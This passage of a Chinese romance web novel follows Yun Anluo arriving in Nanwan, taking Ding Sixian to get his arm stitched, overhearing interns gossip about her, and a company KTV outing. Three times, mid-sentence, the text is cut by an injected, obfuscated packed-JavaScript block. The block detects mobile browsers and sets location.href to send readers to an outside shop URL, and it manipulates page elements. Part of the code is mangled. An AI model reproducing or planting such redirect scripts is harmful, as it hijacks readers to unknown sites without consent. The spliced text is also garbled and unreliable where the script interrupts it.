十一点半左右的时候,丁似霰负责的那个项目突然出了些问题,他被紧急叫到工地熬了一中午。 没下雨前,南菀的最高温度达到了36℃,这样一个中午,足够人被汗水浸透。 李开颜告诉他,云安洛的航班在空中盘旋。 怪不得南菀也突然阴下天,原来谭棠已经大雨倾盆了。 一点五十,他终于可以离开工地。 丁似霰飞快去到工地附近的旅店——把浑身上下的汗味……以及血腥味洗掉。 刚在工地有个冒失的小伙子,搬材料的时候摔了一下,丁似霰下意识扶了他,却没来得及躲开滑落的钢管,左臂被划开一道有些深的口子。 他洗过澡后,很随意地用碘伏把伤口腌制了一下,然后缠了几圈纱布确保那口子不会把血渗出来。 洛洛,喜欢他穿白T、浅色牛仔裤,配一双平平无奇的运动鞋。 但那样的装扮,很显然并不适合去工地。 他在这个旅店定了一晚,出门前就把衣物和鞋子带上,放在了房间里。似乎这样,可以剩下些时间,万一还来得及呢。 丁似霰很急切,他想去机场,想去做云安洛再次落地谭棠后见到的第一个故人。但一身臭汗和灰土的样子跑去机场,是万万不行的。 他好像又想起了小姑娘的话:你一身臭汗,别粘我身上! 虽然当初她就没推开吧,但丁似霰认为还是该把自己收拾立正点去见洛洛。 似乎是多重情感交织在一起的冲击,他对于云安洛的到来,期盼又焦虑。 公司给云安洛批了一间单独的办公室,自从办公室腾出来开始,丁似霰就在布置那间小屋子,一切物品摆放都是按照云安洛的喜好。 云安洛偶尔喜欢晒那种并不烫人的太阳,双层可切换的窗帘便于让她选择遮光程度。她喜欢绿萝,一大盆垂在窗边,好看又感觉很健康。她喜欢深色的沙发配上浅色沙发垫,说这样便于发现坐垫脏了及时洗,又不用太管沙发本体。她嫌弃南菀和谭棠的空气,所以无论吃东西还是拆吸管哪怕是画画之前,总是想洗手,她说香喷喷的洗手液和护手霜会让心情变好…… 洛洛和从前相比,习惯变了不少。还好,这些年来有小L说给小d的听,丁似霰也能都一一准备好。 终于,等到了云安洛来的这一天。 这时并没有合适的城轨,丁似霰请旅店的人把他换下的衣服邮回去,又办了退房,拿上外卖刚刚送到的五分糖柠檬水,立刻打上车,去机场。 丁似霰坐在出租车上,试探性用小d的身份,想看看云安洛对于他可能没法准时到机场这件事,有没有生气。 其实他清楚,云安洛从来不会在这种事情上生气。 但可能,太在乎,真的会很患得患失。 云安洛在吐槽完盘旋的飞机后,又加了一句。 ——不过刚落地就被人放了鸽子,有点不爽。 ——谁这么胆大包天,竟然放你鸽子,太过分了。 云安洛看到这里,忍不住笑了起来,自己骂自己吗,有点意思。 此时机舱门已经打开,乘客们正在排着队走出去,云安洛推着自己的二十寸小红箱子慢悠悠在狭窄的过路排队,并没有回消息。 ——这种时候,你会生气吗? 小d又发来了消息。 云安洛突然来了兴致,回道: ——你问这个干什么,你也想以后有机会放我鸽子? ——没有。 我……也在去接人的路上,快到了,但是在堵车,不知道能不能赶到。 ——哦,我有什么可生气的,谁接都一样,有人给我拿箱子就行。 不过就是感觉他有点亏,我今天难得化了妆,他看不到美女。 ——那确实遗憾,我们从来不露面的珑姐也不知道得多漂亮。 云安洛想了想,给他找了一个很合理的台阶。 ——也还好,要是他晚上请我吃顿饭的话,我勉强原谅一下这位放我鸽子的讨厌鬼。 ——那,但愿这个讨厌鬼上点道。 AAAAA摄影叮在微信发来了一条消息。 ——我马上到机场,还来得及吗? 这人还真是套完话之后一秒都憋不住,也不怕马甲直接碎一地。 云安洛低头看了一下自己的小箱子,随手扯了句谎。 ——或许你有点机会。我还得一会,停靠的地方比较远,需要坐摆渡车,我懒得抢,现在还没出机舱,估计要等第二辆。一会还得等托运的行李,再过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908958|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半个多点才能出去吧。 ——好嘞! 这个季节的谭棠,下一场雨约等于跳楼式降温。云安洛这身厚衣服倒是也不用去换掉了。 她随着人流走到取行李的地方,找一个并不碍事的角落,坐在自己的小红箱上,告诉李开颜“别着急,我在等行李。你们老大如果什么时候到了就告诉我一下”。然后就百无聊赖地等待。 眼看着转盘上的行李越来越少,云安洛终于等到了李开颜的消息。 ——报告!丁似霰同志已经到达,并且把花抢走了! 丁似霰的消息紧跟着发过来: ——我订的,他就是一跑腿。 云安洛挑了挑眉,她突然很好奇是什么花。 于是,云大设计师踩着她新买的熊猫配色老爹鞋,穿着黑色阔腿裤和扎染衬衫,一手推着小行李箱一手拎着外套,大踏步走向出口。 又是一束绚丽的绣球花,粉蓝紫交织在一起,像晚霞。 丁似霰似乎很喜欢绣球花。 云安洛分不清这些东西,但她记得艺术节那一束,也是绣球花。 丁似霰把花递给云安洛,又很自然地接过她的行李箱。 李开颜走在前面,领两个人去停车的位置,嘴里一直在和云安洛说着南菀有哪里好吃好玩,丁似霰时不时点点头,以示赞同。 这么看来,在南菀的这几个月,不会太无聊。 李开颜在驾驶位,云安洛和丁似霰坐在后排。 云安洛注意到丁似霰一直有些藏起来的左臂,但并没有说些什么,只是和李开颜说道:“小颜,你一会去哪里啊?直接开车过去吧,我有点事要和丁似霰单独处理一下,改天有空的话再请你吃饭。” “好嘞姐,我到前面的地铁口就行。”李开颜早就想溜了,他确实对于当电灯泡这件事情不感兴趣。 云安洛揽下了司机的位置,丁似霰只好坐在副驾驶。 李开颜离开后,云安洛柱在方向盘上,转过头看向丁似霰。她微微动动头,似隔空指着丁似霰的胳膊,“怎么了?” 丁似霰这才注意到,他衬衫袖子上,已经零星印上些血迹。他有些慌乱的把胳膊背在身后,却发现似乎躲无可躲。 “就……刚在工地不小心划了一下。” 云安洛一边调着导航,一边问道:“什么划的?” “……钢筋。” 云安洛指着手机上的禄林医院,“这个,是正规医院吧?” “不用去医院,我处理好了。” 云安洛没有说话,只是伸出三根手指,缓缓落下一根…… 第二根手指刚落到一半,丁似霰心虚又小心翼翼地把它顺直,“正规的。” 雨天视线不好,再加上云安洛并不熟悉这里的路线,车辆行进得略有些缓慢。 好在禄林医院离得很近,不到十分钟,云安洛就把车停进了医院的地下停车场。 云安洛刚拉下手刹,丁似霰就轻轻拽住她的袖子。 她有些疑惑地看着他:“嗯?” 他略微迟疑了几秒,才问道:“晚上……去吃饭吗?” 云安洛长叹一口气,颇有一种被气笑了的感觉。 “所以,不去打破伤风,伤口也不处理,就惦记着赶过来问我晚上要不要一起吃口饭?” “……嗯。” “我就这么喜欢吃饭?”云安洛这才想起来她和小d说过些什么,“好吧,但你大概率需要清淡饮食,看来只能去吃老上海馄饨铺或者兰州牛肉面了。” 67. 同事 无论是谭棠还是南菀,云安洛都不喜欢。 有人说这里的方言软糯又亲切,有人说这里的塑料普通话听起来很有趣,但在云安洛的世界,那些声音听起来刺耳又难懂。 就连医院,也会有很多人说着她听不懂的话语。 禄林医院也一样。 云安洛根本没听懂那个大夫叽里呱啦说了些什么东西,她只看明白了一件事—— “等会!不打麻药?生缝?” 那道伤口很深,至少在云安洛看来很深。整齐又狰狞地盘踞在丁似霰当年烫伤留下的疤痕上。 医生说道:“打麻药也会疼的嘞,小伙子忍一下算了。” “这得……六七针吧?”云安洛从未想过缝针不打麻药这件事,一两针就算了,这么长多少有点恐怖,她和丁似霰说道:“你,你自己定。” “直接缝吧,”丁似霰有一种早死早超生的感觉。 云安洛并没有欲望干涉丁似霰这个决定,她也不太想看针线穿过皮肉的现场……这东西很神奇,云安洛自己身上有什么口子怎么处理她都不害怕,但是一旦看到别人出问题她就头皮发麻。 丁似霰问道:“要不,你出去等我?” 对于这个提议,云安洛纠结了几秒。 在这几秒里,她听到了冲洗伤口的声音。 云安洛没忍住,把目光转向了丁似霰,只见他咬着牙,汗珠从鬓角留下,却仍是一副关切的神情。 她似是下定了什么决心,坐在丁似霰身旁的椅子上,然后……握住了他的左手,并且,紧闭着双眼。 “你这是……”丁似霰话音未落,第一针已经穿过皮肉,他不由得倒吸了一口凉气,“嘶……” “疼你就握着我,我……我不想看,我害怕。” “好。” 今天急诊有好多人,但节假日这医院只有一个注射室开门,所以大家都只好坐在外面的椅子上等着排队叫号。 不打麻药硬缝七针的勇士似乎已经有些精神恍惚了。他轻轻靠在云安洛身上,闭着眼睛,不知道在想些什么。 “刚工作的时候也缝过针,”丁似霰突然开口说道:“比这次还惨,缝了二十一针。” “也没打麻药?”云安洛并不知道这件事。 “打了,但是麻药要打好几针,很疼。” “那不打麻药直接缝针,和打麻药比呢?” 他微微动了一下头,换个更舒服的角度,“都疼。” “还是打麻药更疼一点。” 云安洛对于这个对比很震惊,“啊?” “可能,你刚才陪着我,感觉还好。” 哦,原来是掺杂了情感因素。 第三次。 云安洛终于见到了屁股针。 没想到啊,破伤风也是屁股针。 后来,丁似霰再次毫无反抗能力地被云安洛安置在副驾驶上。 这副破身体确实他自己也很嫌弃,出了些什么状况就会发烧,并且几乎温度不会小于三十八度。 系好安全带,云安洛又把自己的外套批在丁似霰身上。降温后的温度,很显然不是他这一件小薄T恤可以抵挡的。 云安洛调好导航,又顺手揉了一把丁似霰的头,“睡一会吧,到了楼下我再喊你。” 云安洛租的房子就在丁似霰家小区隔壁,这地址也算是精准定位,她本想直接租在丁似霰的小区,奈何杨可期帮她看了一圈,发现只有隔壁这里是电梯房。 懒鬼是不会拒绝电梯房的。 “嗯,”他闭着眼,倚靠在车窗上,“洛洛……很漂亮。” “我知道,”云安洛轻轻笑着,“但我还是很喜欢听你夸我,可以多夸一夸。” …… 云安洛第一天去洋筑上班,一切都很风平浪静,看起来这公司员工之间倒是都挺和谐的。 丁似霰混的不差,还有一间自己单独的办公室,虽说是小了点。而且看起来他还是蛮受欢迎的,也对,勤劳肯干工作能力又强,性格也温和,长相还很好的人,怎么可能不受欢迎。 上班的日子无聊得很,云安洛为着天天能看到丁似霰,朝九晚五地装了两天后,便放弃挣扎了。 早十晚三,不能再多了。 十月初的一场雨并没有浇灭南菀的高温,接连几天的晴空万里,又把温度拉回到了三十以上。 那天云安洛一时兴起,穿了条很短的牛仔裤上班。结果刚到洋筑就发现,丁似霰已经跑去工地了。 白瞎了,好不容易露一次腿。 云安洛在茶水间,若有其事地冲着她的咖啡奶茶。 带香精的植脂粉末,不健康但是好喝。 茶水间门口,实习生季蓉端着几个咖啡杯本想走进来,结果看到云安洛后,停住了脚步。 公司里那两个小实习生好像很怕云安洛,每次都毕恭毕敬,还不敢抬头看她,明明和其他人都能友好交流的,云安洛也不懂她怎么就长得这么吓人? 云安洛默默向一旁挪了些,沉默着继续搅她的勾兑饮料。 昨天没买到经常喝的那个牌子,就随手拿了一条生椰拿铁奶茶。她没看食用说明,没想到这东西直接冲根本溶不开,云安洛拿着小勺子一点一点不厌其烦地压着被包裹住的粉末颗粒。 也不能说是不厌其烦吧,她只是无聊得很,给自己找点事情做。 小姑娘又很客气地和云安洛打了招呼:“云姐好。” “早上……好。”云安洛才想起来现在已经十点多了,这对于她来讲算早上,但是和别人说早上好还是太离谱了点。无奈话已出口,又没那么熟,也用不到改成中午好了。 云安洛还在一边压着奶茶粉末,一边给丁似霰发消息,问他什么时候回来,中午要不要一起吃饭。 突然一阵脆响。 季蓉打翻了盘子,六个咖啡杯翻倒在地,碎得一地渣子。 还有那么两块陶瓷炸飞起来,划破了云安洛的脚踝。 这么大的响动很快就引来了人。 季蓉刚想鞠躬道歉,云安洛却抢先一步说道:“抱歉哈,刚才一不小心碰翻了,我一会就买新杯子去,你们和小颜说一下想喝什么,今天的咖啡我请大家喝。” 云安洛见大家都没有散去的兆头,便对李开颜招招手:“小颜!你张罗一下,哪家店都行,定好了我报销,散了吧啊。” 正巧保洁也提着工具赶过来了,众人也就此散去。 季蓉像只小鹌鹑一样站在一旁,不停地和云安洛说着谢谢。 “好啦,我要是有你鞠躬这个效率,估计马甲线早练成了。” “云姐,你为什么帮我?” “你看他们敢骂我吗?请顿咖啡再补上杯子就好了,你也小心点,钱是小事,咖啡都挺热的,烫到了小心留疤。”云安洛一边说着一边在手机上翻找同款咖啡杯,却看到了丁似霰的消息: ——我得下午才能回公司,午饭就不一起了。 云安洛摇摇头,真白瞎了,好不容易打扮一天,还扑了个空。 “云姐!你脚踝上的伤处理一下吧?”季蓉这么快就拿来了医药箱,想要给云安洛擦擦伤口。 云安洛低头看了一眼,那两道整齐的划伤确实在慢慢向外渗出一个一个小血珠。 但是这位置涂碘伏太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908959|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丑了!云安洛拒绝了季蓉,“不用,我去洗洗就行,你忙去吧。” 云安洛回到办公室,随手用酒精湿巾擦了两下脚脖子,就把自己扔进旋转椅里,打开游戏,想要遨游一把。 没想到一上线抓到了摸鱼的杨可期。云安洛聊闲一般在微信给杨可期发去消息: ——芜湖!怎么有人摸鱼,逮捕! ——你不是说今天要开屏吗?怎么还来打游戏了? ——开屏失败,变成开刀了。 ——? ——不重要,就是没看到丁似霰,多少有点不爽。 ——今天晚上有什么安排? 云安洛的车还没有邮到,前两天按时上下班都是蹭的丁似霰的车,奈何她确实过不习惯那种社畜的日子。 于是,杨可期已经连续三天开着她的小甲壳虫来接云安洛下班,然后四处觅食。 虽然云安洛不太喜欢南菀的食物,但是得到杨可期认可的那些,确实还可以吃。不过她们去吃的也不是什么本地特色……比如,火锅鸡、潮汕牛肉火锅、铁锅焖面…… ——杨大夫安排吧,我都没有意见,别给我喝药就行。 时间来到了下午两点多,云安洛在卫生间里,刚想推门出去,结果听到了季蓉和另一个实习生王若妍在洗手池聊天。 听墙角不太好,但云安洛没有武德。 她确实一直也很好奇这俩小丫头为什么看到她跟见了鬼一样。 季蓉跟王若妍说,云安洛好像不似传闻中那样跋扈严厉,反倒帮她揽了过错,还一点都没怪罪她。 传闻?什么传闻?云安洛还真的不知道,她在南菀地产界有什么传闻。 王若妍有些困惑:“可之前孙同教授不是说,云安洛就是个半路出家的设计师,本科在谭大的时候成绩也不好,还怀疑她去年得的奖有什么水分……” “能有什么水分,国家级比赛不能作假。” 太热闹了,丁似霰怎么也来洗手间了。 果然厕所不是个说话的好地方。 孙同教授,没记错的话谭棠大学土木院确实有个姓孙的教授,印象中风评还不太好来着。所以这两个女孩——是谭棠大学土木工程的。那没事了,谭棠大学的领导里面谁和当初那个副院长关系好都不意外。 “丁,丁哥,我们也就是听说的,没说云姐不好……”王若妍低下头,有一种被抓包的感觉。 丁似霰刚从工地回来,本想来洗一洗手上的灰,没想到打开门就听到了这些话。 他本不该参与这些小女孩的聊天,但谈论对象是云安洛的话,另算。 丁似霰打开水龙头一边洗着手,一边说道:“实习期间就好好积攒一下经验,学点有用的东西,少听那些闲话。” 丁似霰这个人确实很少管闲事,并且平时看起来也很温和,加上长得好,虽然他除了工作外很少跟人交流些什么,但带新人或是谁有问题的时候他也会很耐心地帮忙,所以公司多数人,至少是多数女性,对他印象都是很好的。 这两个实习生也不例外。 说小话被抓包,小姑娘还是第一次看到他板着脸,多少有些害怕。 这下两个女孩都变成鹌鹑了。 云安洛透过门缝看着戏,不禁咂咂舌,给杨可期发去一条消息: ——我突然发现丁似霰生气的时候也挺可爱的。 ——你没救了孩子,晚上吃铁锅炖你可以吗! 云安洛还在对着手机傻乐回消息,下一秒,卫生间的门竟然打开了——保洁阿姨来清理垃圾。 果然,在卫生间听墙角和在卫生间说小话的危险系数一样高。 68. 女魔头 云安洛飞速把那句“我的肉不好吃”发了出去,然后小碎步走出卫生间。 她先是和丁似霰打了声招呼,又朝着两个女孩说道:“那个……我,感觉我好像不该出现在这哈……但你们聊我,我也不太方便出来不是……” 四个人都很尴尬。 杨可期的电话打破了尴尬,她说已经把车停在楼下了,让云安洛赶紧下去,免得一会过半个小时停车费涨了。 云安洛飞快洗了洗手,临出门前还不忘留下一句:“别的好说,比赛和学历确实都没作假哈!” 刚拐出厕所,云安洛就遇见了企图搭饭的李开颜,询问了杨可期,她只说:“来呗,那看来晚上除了焖面和你,还可以炖点别的东西了。” 云安洛原路返回,想问问丁似霰有没有兴趣一起,却遇到了向出走的季蓉和王若妍,真是……巧。 又一次尴尬的打招呼。 云安洛打开洗手间的门,看到丁似霰正在水池旁企图拆开胳膊上的纱布换药。 “嘿!”云安洛喊了一声。 丁似霰像听到某种指令一般,定在原地,“怎么了?” “要不,你出来,回办公室我给你换药呢?” 没等到丁似霰回答,云安洛就伸手抢走了所有的工具。丁似霰只好跟在她身后,回到办公室。 云安洛很细致地先把自己的手消了一遍毒,才去拆开丁似霰的纱布。 “怎么这时候想起来换药了?” “刚,碰了一下,有点疼。” 云安洛小心翼翼擦着丁似霰伤口时,他突然问了一句:“脚上怎么弄的?” 换好了药,云安洛又打了一个漂亮的蝴蝶结,“哦,上午划了一下。” 杨可期的电话再次到来。 云安洛接通电话先行道歉:“对不起我马上下去!” “没事了,你还有二十九分钟,要不我先睡一觉?” “晚上吃铁锅炖牛腩好不好?我请。” “我还要吃锅包肉!” “没问题,再加一盘三鲜馅的饺子。” “成交,那你慢慢磨蹭吧,老奴在楼下随时恭候。” 云安洛挂掉电话,转过头,对上了丁似霰疑惑的眼神。 “你也感觉太多了我们吃不完是不是?” “大概……吧?” “再加上一个李开颜呢?” “可,可能……多大的锅啊?”丁似霰还没有弄清李开颜什么时候和云安洛熟到跨过他一起约饭了? “应该不小,要不你帮个忙呗?” 丁似霰看了一眼时间,“还没下班呢。” “李开颜都能跑,你不应该更能了吗。” 最后,四个人去吃了铁锅炖牛腩,外加一盘锅包肉,一盘三鲜饺子,一盘白菜猪肉饺子。 散伙后,李开颜顺了杨可期的车,云安洛坐在丁似霰的副驾驶。 晚上回家后,云安洛得出了一个结论——她今天这条短裤穿得完全是抛媚眼给瞎子看,以后还是穿长裤更舒服。 主要是这人都看到她脚上那两道小血印子了,他也没注意云安洛露出来的大长腿。 他到底还是不是男人? 相比于云安洛的悠闲,丁似霰工作忙上很多,还经常加班,云安洛甚至不能每天都见到他,除非特意和他约着吃饭或是上下班。 当然,偶尔丁似霰不忙的时候,云安洛点菜,跟着他去他家蹭饭也是件很不错的事情。 可是丁似霰不忙的时候很少,这人甚至很少有周末,云安洛也就蹭了那么……五六七八次饭。虽然说就算他很忙,如果云安洛说想吃什么他也会做,但人美心善的洛洛还是于心不忍的,遂经常点外卖拉着他一起吃饭——云安洛太懒了,再加上天气真的还有点热,确实不喜欢自己做菜。 云安洛还问过丁似霰,可不可以去看看余阿姨,丁似霰却说算了吧,余美兰爱漂亮,大概不太想让太多人看到她如今的模样。 闲着也是闲着,云安洛逐渐和洋筑设计部的同事们熟络起来,偶尔来了兴致还会和他们一起画画稿子。 无论外界怎么说,接触下来,云安洛的才华没人会质疑。至于为人?那她确实说话不会一直很好听,谁敢阴阳怪气她必原样奉还,说来说去反倒给同事们演了段相声。 总的来说,实力会征服所有质疑。一期竣工的时候,项目组团建,云安洛已经和大家打成一团,尤其是季蓉,小姑娘成天找机会就吊在云安洛身上。 团建吃过饭后,几个年轻的没有玩够,又转战去了KTV。 KTV内变幻的灯光下,丁似霰向拿着麦克风的云安洛遥遥望过去。 那灯光时而昏暗时而明亮,不远处的人却映现得并不真切。 十二年。 好遥远的过去,回忆却又似乎那么真切。 第一次,他看清她的身影,也是几近乎一样的场景。 军训时,夕阳下,被同学们起哄恭迎回队列的平板支撑女武神。 此时,灯光下,被同事们怂恿去拿着麦克风唱歌的姑娘。 她无论什么时候,无论在哪里,都是优秀的,耀眼的。 丁似霰,仍旧想做洛洛公主身边的那个带刀侍卫。 或许,还有机会…… 云安洛,正在和季蓉,唱情歌。 云安洛唱的男声。 不知是不是季蓉喝了点酒,还是这段时间的相处使得她真的对云大设计师仰慕又喜爱,总之,那丫头靠在云安洛怀里,一边含情脉脉地看着云安洛,一边真情实感地唱着歌。 可能这就是东北夹子的魅力吧。 季蓉似乎确实喝多了,唱完歌还挂在云安洛的身上,嘴里嚷嚷着:“以后谁再说我洛姐是女魔头,我直接上去撕烂他的嘴!” 云安洛顺手掐了掐季蓉的脸蛋,问道:“你不要毕业证啦?万一小老头答辩的时候往死里问你怎么办?” “那我就只答不辩,疯狂道歉呜呜呜……” “哈哈哈哈哈哈,牺牲太大了宝贝!” 云安洛的笑声,一如既往,十分爽朗。 丁似霰听着她们聊天,看着那两个抱在一起摇摇晃晃的身影不禁笑着摇摇头,也不知道杨可期见了这场景会不会作何感想。 是不是该拍下来发给杨可期,让她吃个醋? 丁似霰坐的地方,因为空调不大能吹到,自然没有其他人愿意窝在这里,他自己待得久了,思维便开始神游,就连身边突然多了个人,也是过了一会才反应过来。 “洛洛?你怎么……来这里了?”他微微偏过头去,只看到昏暗的光线下,云安洛似乎在低头摆弄些什么。 “给你送蛋糕呀,你也不过去切点吃,我特地选的奥利奥夹心,这么没有诱惑力?” 许是疯玩的有点久了,云安洛有些发丝从刚刚完美的丸子中散落下来,像极了几根俏皮又温柔的尾羽。 她额头前左侧的碎发也有些散了,微微遮住了眼睛。 细密又纤长的睫毛呈自然的弧度下垂,在昏暗的灯光下形成了一小片阴影。 云安洛抬起头的那一瞬,刚好有束光扫过来,自上而下映在她身上。 凌乱的发丝和微微低垂的睫毛与她眸中的色彩给人一种截然相反的感觉——懒散又随意,但似乎透出些兴奋的气息。 丁似霰看着她,迟迟没给出回应。 “嗯?转性了?不爱吃蛋糕了?奥利奥都不爱了?”云安洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908960|192437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叉起一小块蛋糕递到丁似霰嘴边。 他抿了抿唇,便张开嘴,吃下这块蛋糕。 云安洛在心中感叹:哦,这暧昧的姿势,太……完美了! “洛洛,”丁似霰咽下蛋糕,开口道:“你……好漂亮。” “嗯,谢谢夸奖,我很喜欢听,”光束散去,云安洛又低下头,飞快地做些小动作。 她再次抬眸时,那股兴奋的色彩更加雀跃。 云安洛抬起手,两根手指点在丁似霰脸颊两侧。 除了正常皮肤接触的触感,还有奶油黏腻的感觉。 原来那份雀跃,是源于当小坏蛋的激动。 云安洛在丁似霰脸上用奶油画了两个对半的爱心,并且对自己的作品十分满意,“我感觉这样的话你会更好看一点哈哈哈哈哈哈!” 丁似霰也迅速蘸了些奶油,在云安洛额头写了一个小小的“王”字。 “我到底为什么把你和肥啾联想到一起,你现在应该是这个。” “这个才对嘛,”云安洛在手机屏幕里欣赏了一下丁似霰的画作,“女魔头就应该当山大王~” 或许时间地点都不太对。 但丁似霰突然感觉,有些话呼之欲出。 “洛洛。” “嗯?” 丁似霰话还未出口,便有人捷足先登。 “大王~我要当你的妲己~”季蓉不知从哪里,醉呼呼跑过来,又挂在云安洛脖子上。 云安洛本习惯性想扶一下额头,还好理智先于行动一步,告诉她脑门上的作品暂时她还不想破坏。 手指上还有奶油,云安洛也不好做什么动作,还好丁似霰及时拿来湿巾,帮把她指尖擦净。 云安洛擦干净手,就扶上季蓉的胳膊,浮夸地仰起头,“啊,纣王要被你勒死啦~” 丁似霰的手机铃声突然响起,似乎是他很在乎的来电,他匆匆和云安洛打过招呼,就走了出包间。 包厢内歌舞升平,走廊也只是相对安静一些,但依旧能听到高歌和欢笑。 丁似霰靠墙坐在走廊尽头的拐角处,似乎与那些喧嚣格格不入。 云安洛不知何时也走了出来,找到了他,坐在他身边。 “怎么啦?”她问道。 “没什么,问我要不要贷款,”丁似霰声音听起来有些疲惫,“有点累了,我就找地方安静一会。” “好像上大学之后,电话号码就都被泄露了,之前还有人给我打电话问我要不要报ACCA的班。” “那你报了吗?” “当然没,我正好无聊,在操场上发呆,和那人若有其事地聊了二十几分钟,玩够了我告诉他我以后不干金融,然后他就挂电话了。” “说不定他挂了电话就和同事说‘这败家孩子耽误我这么久的时间!’” “不不不,不会的,谭棠人不说败家孩子,他们可能说‘这个化生崽真讨厌!’” “大概吧,还可能说小赤佬呢?” “嗯,都可能,我已经记不清那人啥口音了,”云安洛偏过头,看向丁似霰,“你刚才想跟我说什么?” 说什么? 丁似霰眸中的光似乎更暗了一些,只是在这本无光亮的角落里并未被云安洛发现。 “……忘了。”他说道。 “那就等你想起来再说吧!” 云安洛站起身,拍拍裤子,又拉起丁似霰,“走,回去把季蓉和李开颜喊上回家,今晚要下雨了,早点回去省得挨浇。” “好。” 丁似霰跟在云安洛身后,走向包间。 真的,错过了好多好多年。 或许,还有机会吧。 但似乎,真的不是现在。 69. 可以吗 南菀的天气经常被人们说成比商场促销还要抽象,满四十减三十仅仅需要一场大雨。 其实国庆假期过后,这里早晚的温度就不是太高了,但远远达不到冷的地步,通常来讲立冬附近的一场冬雨才是真正的降温。 今年的雨下得有些晚,立冬已经过去一个多星期,昨日夜晚才迎来那场真正的降温。 第二天上午,云安洛心满意足拿出自己的黑色加绒卫衣外套和微喇牛仔裤,终于能穿上秋天的衣服了。这卫衣外套还是研究生毕业那年买的,质量超级好,她也十分喜欢,每次总感觉一穿上这个,整个人都酷酷的还透露着一种慵懒的感觉。 要知道,这个时候的新柳已经下雪了,无论谁在南菀,云安洛还是感觉新柳更适合她生活,至于南菀,顶多是能生存。 她前些天还买了一件长毛水貂绒的毛衣,粉白渐变的颜色,背后还有一只大蝴蝶图案,摸起来手感特别好,奈何南菀迟迟不降温也没有机会穿出去。 可能这人啊,真的会在某些特定的时候才喜欢开屏。往常在新柳,云安洛冬天也就是羽绒服里面塞个衬衫或者是那种比较轻薄的T恤,无论是设计所还是工作室都有暖气,进了屋就很暖和。 反倒是最近,她虽然懒得逛街,但是快递一件接一件的收,网购了好多件新衣服。 天气预报显示,今天不会下雨,但一直是阴天,最高只有十三度。 云安洛向来不会相信南菀的天气预报。当初军训的时候那鬼东西也说不会下雨,结果她不止一次被浇成落汤鸡。 最后她在卫衣和毛衣中间,选择了毛衣。小孔雀满心欢喜地换上新衣服,准备去丁似霰眼前晃。 开屏! 丁似霰似乎一直很忙,一整个上午,云安洛跑了四趟茶水间,但他办公室的门都是关着的。 虽然云安洛十点才到洋筑。 最近云安洛已经把二期的基本大框画出来了,所以她其实很闲,而且理论上来讲,她又不用去洋筑上班,她就是个人工客服,有问题了再找她都来得及。 这点上来看,南方还是真有发展优势,冬天施工基本不会耽误。往常在新柳,这个时候设计所都是随便接点室内设计的小活,云安洛基本就直接不干,去泡录音棚。 当然,云安洛并没有考虑高温施工会暂停这个事情,毕竟无论出于什么原因,很少看到谭棠或者南菀的天气预报上出现高于三十九度的数字。 十二点,多数人都选择去吃饭了,整个办公区剩下的人寥寥无几。 丁似霰还没出来。 云安洛站在他办公室门口发了条微信。 ——在屋里絮窝呢? ——去不去吃饭? ——你不会根本不在屋里,跑路了吧? 她在门口等了五分钟,丁似霰依旧没有回话。 通常来讲,丁似霰除了睡觉和真的在忙以外,回消息都很迅速。 他办公室窗户的百叶窗是闭合的,云安洛把脸贴在窗户上,透过扇叶的缝隙眯着眼睛向里看。办公桌旁这不是有人吗? 云安洛刚准备敲门,就收到了丁似霰的消息。 ——不去了,有点感冒,不想动。 哦,原来如此,那就不用敲门了。云安洛礼貌性问了一句: ——我进来了? 当然也仅仅是问一句,消息发出的同时,她已经拧开了门把手。 丁似霰听到响动,从电脑后抬起头,“有……有事?” 云安洛走到他对面,在椅子上坐下,“就是想来找你。” 丁似霰此时的脑子在死机的边缘徘徊,他左手拄着头,顶在太阳穴的位置,略有些困惑地看着云安洛,并没有说话。 云安洛接着问道:“头疼?” 他轻轻嗯了一声。 云安洛站起身,绕到丁似霰身旁,牵起他的手,“走,去我那,我那个躺椅睡觉可舒服了。” 未等丁似霰说什么,云安洛又加了一句,“我不怕传染,走!” 丁似霰就这样被云安洛领进了她的办公室,然后坐在她的躺椅上。 云安洛坐到躺椅后面的沙发上,拍了拍躺椅上的小枕头,“sit……不对,躺过来用英语咋说来着?” 丁似霰躺下来,摇摇头,“不记得了。” “太棒了,我也想不起来,我就不该企图说英语,”云安洛用酒精湿巾擦擦手,便开始了她的第一次头部按摩服务。 丁似霰对于这突如其来的触碰有些惊讶,下意识想转过头去,却被云安洛轻轻摁在了躺椅上。 “嗯?” “小中医亲传的手法,包您满意。”云安洛回忆着之前杨可期教她的那套什么四大法,在丁似霰头上揉按。 丁似霰抬起手,却悬在空中,并没有真的碰到云安洛,“不,不用……” 